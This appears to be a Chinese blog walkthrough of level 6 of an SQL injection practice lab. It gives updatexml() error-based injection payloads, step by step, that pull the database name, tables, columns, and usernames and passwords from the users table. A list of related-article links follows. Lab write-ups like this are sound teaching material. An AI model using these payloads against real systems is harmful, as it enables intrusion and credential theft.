SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
q***725617 分钟前
Redis-配置文件
数据库·redis·oracle
不可描述的两脚兽20 分钟前
Redis 快记
java·数据库·redis
h***346325 分钟前
【MySQL】表的基本操作
数据库·mysql·oracle
SelectDB1 小时前
为什么实时更新场景下 Doris 查询性能是 ClickHouse 的 34 倍
数据库
n***63271 小时前
MySQL数据库的数据文件保存在哪?MySQL数据存在哪里
数据库·mysql
SelectDB2 小时前
从 Flink 到 Doris 的实时数据写入实践——基于 Flink CDC 构建更实时高效的数据集成链路
数据库
普通网友2 小时前
使用Flask快速搭建轻量级Web应用
jvm·数据库·python
月上柳青2 小时前
OpenWrt系统上配置batman-adv快速开始与配置详解
开发语言·mysql·php
t***26592 小时前
【大数据】MySQL与Elasticsearch的对比分析:如何选择适合的查询解决方案
大数据·mysql·elasticsearch
k***92162 小时前
redis连接服务
数据库·redis·bootstrap